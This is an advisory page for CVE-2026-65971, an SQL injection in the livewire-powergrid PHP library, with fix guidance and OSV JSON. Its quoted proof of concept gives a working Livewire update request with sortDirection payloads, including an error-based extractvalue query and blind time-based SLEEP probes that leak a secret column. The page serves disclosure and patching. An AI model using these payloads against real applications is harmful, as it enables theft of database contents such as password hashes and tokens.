CVE-2026-65971: livewire-powergrid SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-7fgc-3h6c-698r
CVSS 7.6
CWE-89
Published
Advisory Summary

CVE-2026-65971 is a HIGH (CVSS 7.6) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting livewire-powergrid libraries in the Packagist ecosystem. The issue involves sql injection via sortdirection in naturalsort queries. Remediation is available by upgrading affected packages to version 6.10.4.

CVE-2026-65971 at a Glance

CVE Identifier CVE-2026-65971
GHSA Identifier GHSA-7fgc-3h6c-698r
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product livewire-powergrid
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-65971

To remediate this vulnerability, upgrade all affected livewire-powergrid dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

power-components/livewire-powergrid fixed: 6.10.4
Upgrade power-components/livewire-powergrid to 6.10.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for power-components/livewire-powergrid

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-65971, inspect your project dependencies for livewire-powergrid:

inspect dependencies for power-components/livewire-powergrid

Analyze the terminal output to locate any version of livewire-powergrid in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.10.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In livewire-powergrid, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## [Description] The public Livewire property `sortDirection` is interpolated **verbatim** into a raw SQL `ORDER BY` clause and is not restricted to `asc`/`desc`, allowing arbitrary SQL injection through `POST /livewire/update`. **Data flow** - **Source** — `src/Concerns/Sorting.php`: `public string $sortDirection;` is a Livewire-bound property with no whitelist/validation (it is only assigned and flipped by `reverseSort()`), so it is fully attacker-controlled via the standard Livewire update endpoint. - **Taint** — `src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php`, `resolvePlaceholders()`: ```php preg_replace_callback('/\{(\w+)\}/', fn ($m) => data_get($this->component, $m[1], ''), $sql); ``` substitutes `{sortDirection}` with the raw property value. - **Sink** — `src/DataSource/Support/Sql.php::getSortSqlByDriver()` builds the `naturalSort` expression, e.g. `"... {sortDirection}"` / `"CAST(...) {sortDirection}"`, which is passed to `orderByRaw()`. The tainted direction lands directly in the SQL string. **Why the framework mitigation does not apply (the bypass)** Normally the `Sorting` pipeline calls `orderBy(resolveSortField($sortField), $sortDirection)`, and Laravel validates the direction (`Order direction must be "asc" or "desc".`). Setting **`sortField=""`** makes the `Sorting` pipeline skip (`filled('')` is false), so the validating `orderBy` never runs — but the `ColumnRawQueries` pipeline still applies the `naturalSort` `orderByRaw` unconditionally with the attacker-controlled `{sortDirection}`. The result is arbitrary SQL in the `ORDER BY`, bypassing Laravel's direction validation entirely. ## [Proof of Concept] Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10 + MariaDB, with a PowerGrid table whose `name` column uses `->naturalSort(true)`. Request (standard Livewire update; CSRF token taken from the page as any Livewire call): ``` POST /livewire/update components[0].snapshot = <the PowerGrid component snapshot from the page> components[0].updates = {"sortField": "", "sortDirection": "asc, (SELECT SLEEP(3))"} ``` Observed results: - **Error-based** (HTTP 500, `SQLSTATE[HY000] 1105`) — the injected subquery reaches the database verbatim: ``` select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, ...) ...) asc, (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1)))) limit 3 offset 0 ``` - **Blind time-based** (arbitrary data extraction): ``` asc -> 0.02s (baseline) asc, (SELECT SLEEP(3)) -> 9.04s (injection executes) asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%') -> 9.03s (TRUE — value leaks) ... LIKE 'ZZZ%' -> 0.02s (FALSE — boolean oracle) ``` A parameterised PoC script is available and can be attached privately on request. ## [Impact] Any actor who can reach a PowerGrid table using `naturalSort` and control the `sortDirection` property can read arbitrary data from the database (other tables, password hashes, tokens) via a blind boolean/time-based oracle. Stacked queries are blocked by the default PDO MySQL driver, so impact is read-oriented (confidentiality), but complete for readable data. In multi-tenant/admin apps this enables full cross-tenant data exfiltration.

CVE-2026-65971 Affected livewire-powergrid Versions

1 component(s)
Fixed Versions:
6.10.4
Product / Package Ecosystem Affected Versions Fixed Version
power-components/livewire-powergrid
Packagist
≥ 6.0.0
< 6.10.4
6.10.4

References

Frequently Asked Questions

What is CVE-2026-65971?
CVE-2026-65971 is a security vulnerability in livewire-powergrid involving SQL injection via sortDirection in naturalSort queries under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which livewire-powergrid versions are affected?
Affected versions include releases prior to 6.10.4 across affected packages: power-components/livewire-powergrid.
What version fixes CVE-2026-65971?
Upgrading to 6.10.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is power-components/livewire-powergrid affected?
Yes, power-components/livewire-powergrid is affected in releases prior to 6.10.4. Upgrade your dependency to 6.10.4 or later.
What is the CVSS score of CVE-2026-65971?
CVE-2026-65971 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L.
What CWE is associated with CVE-2026-65971?
CVE-2026-65971 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-65971?
Run the dependency tree command: 'inspect dependencies for power-components/livewire-powergrid'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7fgc-3h6c-698r",
  "modified" : "2026-11-25T19:44:57Z",
  "published" : "2026-11-25T19:44:57Z",
  "aliases" : [ "CVE-2026-65971" ],
  "summary" : "livewire-powergrid: SQL injection via sortDirection in naturalSort queries",
  "details" : "## [Description]\n\nThe public Livewire property `sortDirection` is interpolated **verbatim** into a\nraw SQL `ORDER BY` clause and is not restricted to `asc`/`desc`, allowing arbitrary\nSQL injection through `POST /livewire/update`.\n\n**Data flow**\n\n- **Source** — `src/Concerns/Sorting.php`: `public string $sortDirection;` is a\n  Livewire-bound property with no whitelist/validation (it is only assigned and\n  flipped by `reverseSort()`), so it is fully attacker-controlled via the standard\n  Livewire update endpoint.\n- **Taint** — `src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php`,\n  `resolvePlaceholders()`:\n  ```php\n  preg_replace_callback('/\\{(\\w+)\\}/', fn ($m) => data_get($this->component, $m[1], ''), $sql);\n  ```\n  substitutes `{sortDirection}` with the raw property value.\n- **Sink** — `src/DataSource/Support/Sql.php::getSortSqlByDriver()` builds the\n  `naturalSort` expression, e.g. `\"... {sortDirection}\"` / `\"CAST(...) {sortDirection}\"`,\n  which is passed to `orderByRaw()`. The tainted direction lands directly in the SQL\n  string.\n\n**Why the framework mitigation does not apply (the bypass)**\n\nNormally the `Sorting` pipeline calls `orderBy(resolveSortField($sortField), $sortDirection)`,\nand Laravel validates the direction (`Order direction must be \"asc\" or \"desc\".`).\nSetting **`sortField=\"\"`** makes the `Sorting` pipeline skip (`filled('')` is false),\nso the validating `orderBy` never runs — but the `ColumnRawQueries` pipeline still\napplies the `naturalSort` `orderByRaw` unconditionally with the attacker-controlled\n`{sortDirection}`. The result is arbitrary SQL in the `ORDER BY`, bypassing Laravel's\ndirection validation entirely.\n\n## [Proof of Concept]\n\nLab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10 + MariaDB, with a\nPowerGrid table whose `name` column uses `->naturalSort(true)`.\n\nRequest (standard Livewire update; CSRF token taken from the page as any Livewire call):\n```\nPOST /livewire/update\ncomponents[0].snapshot = <the PowerGrid component snapshot from the page>\ncomponents[0].updates  = {\"sortField\": \"\", \"sortDirection\": \"asc, (SELECT SLEEP(3))\"}\n```\n\nObserved results:\n\n- **Error-based** (HTTP 500, `SQLSTATE[HY000] 1105`) — the injected subquery reaches\n  the database verbatim:\n  ```\n  select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, ...) ...) asc,\n    (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1)))) limit 3 offset 0\n  ```\n- **Blind time-based** (arbitrary data extraction):\n  ```\n  asc                                 -> 0.02s   (baseline)\n  asc, (SELECT SLEEP(3))              -> 9.04s   (injection executes)\n  asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')  -> 9.03s  (TRUE — value leaks)\n  ... LIKE 'ZZZ%'                     -> 0.02s   (FALSE — boolean oracle)\n  ```\n\nA parameterised PoC script is available and can be attached privately on request.\n\n## [Impact]\n\nAny actor who can reach a PowerGrid table using `naturalSort` and control the\n`sortDirection` property can read arbitrary data from the database (other tables,\npassword hashes, tokens) via a blind boolean/time-based oracle. Stacked queries are\nblocked by the default PDO MySQL driver, so impact is read-oriented (confidentiality),\nbut complete for readable data. In multi-tenant/admin apps this enables full\ncross-tenant data exfiltration.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "power-components/livewire-powergrid"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.10.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-65971"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Power-Components/livewire-powergrid"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-25T19:44:57Z",
    "nvd_published_at" : "2026-11-11T22:17:28Z"
  }
}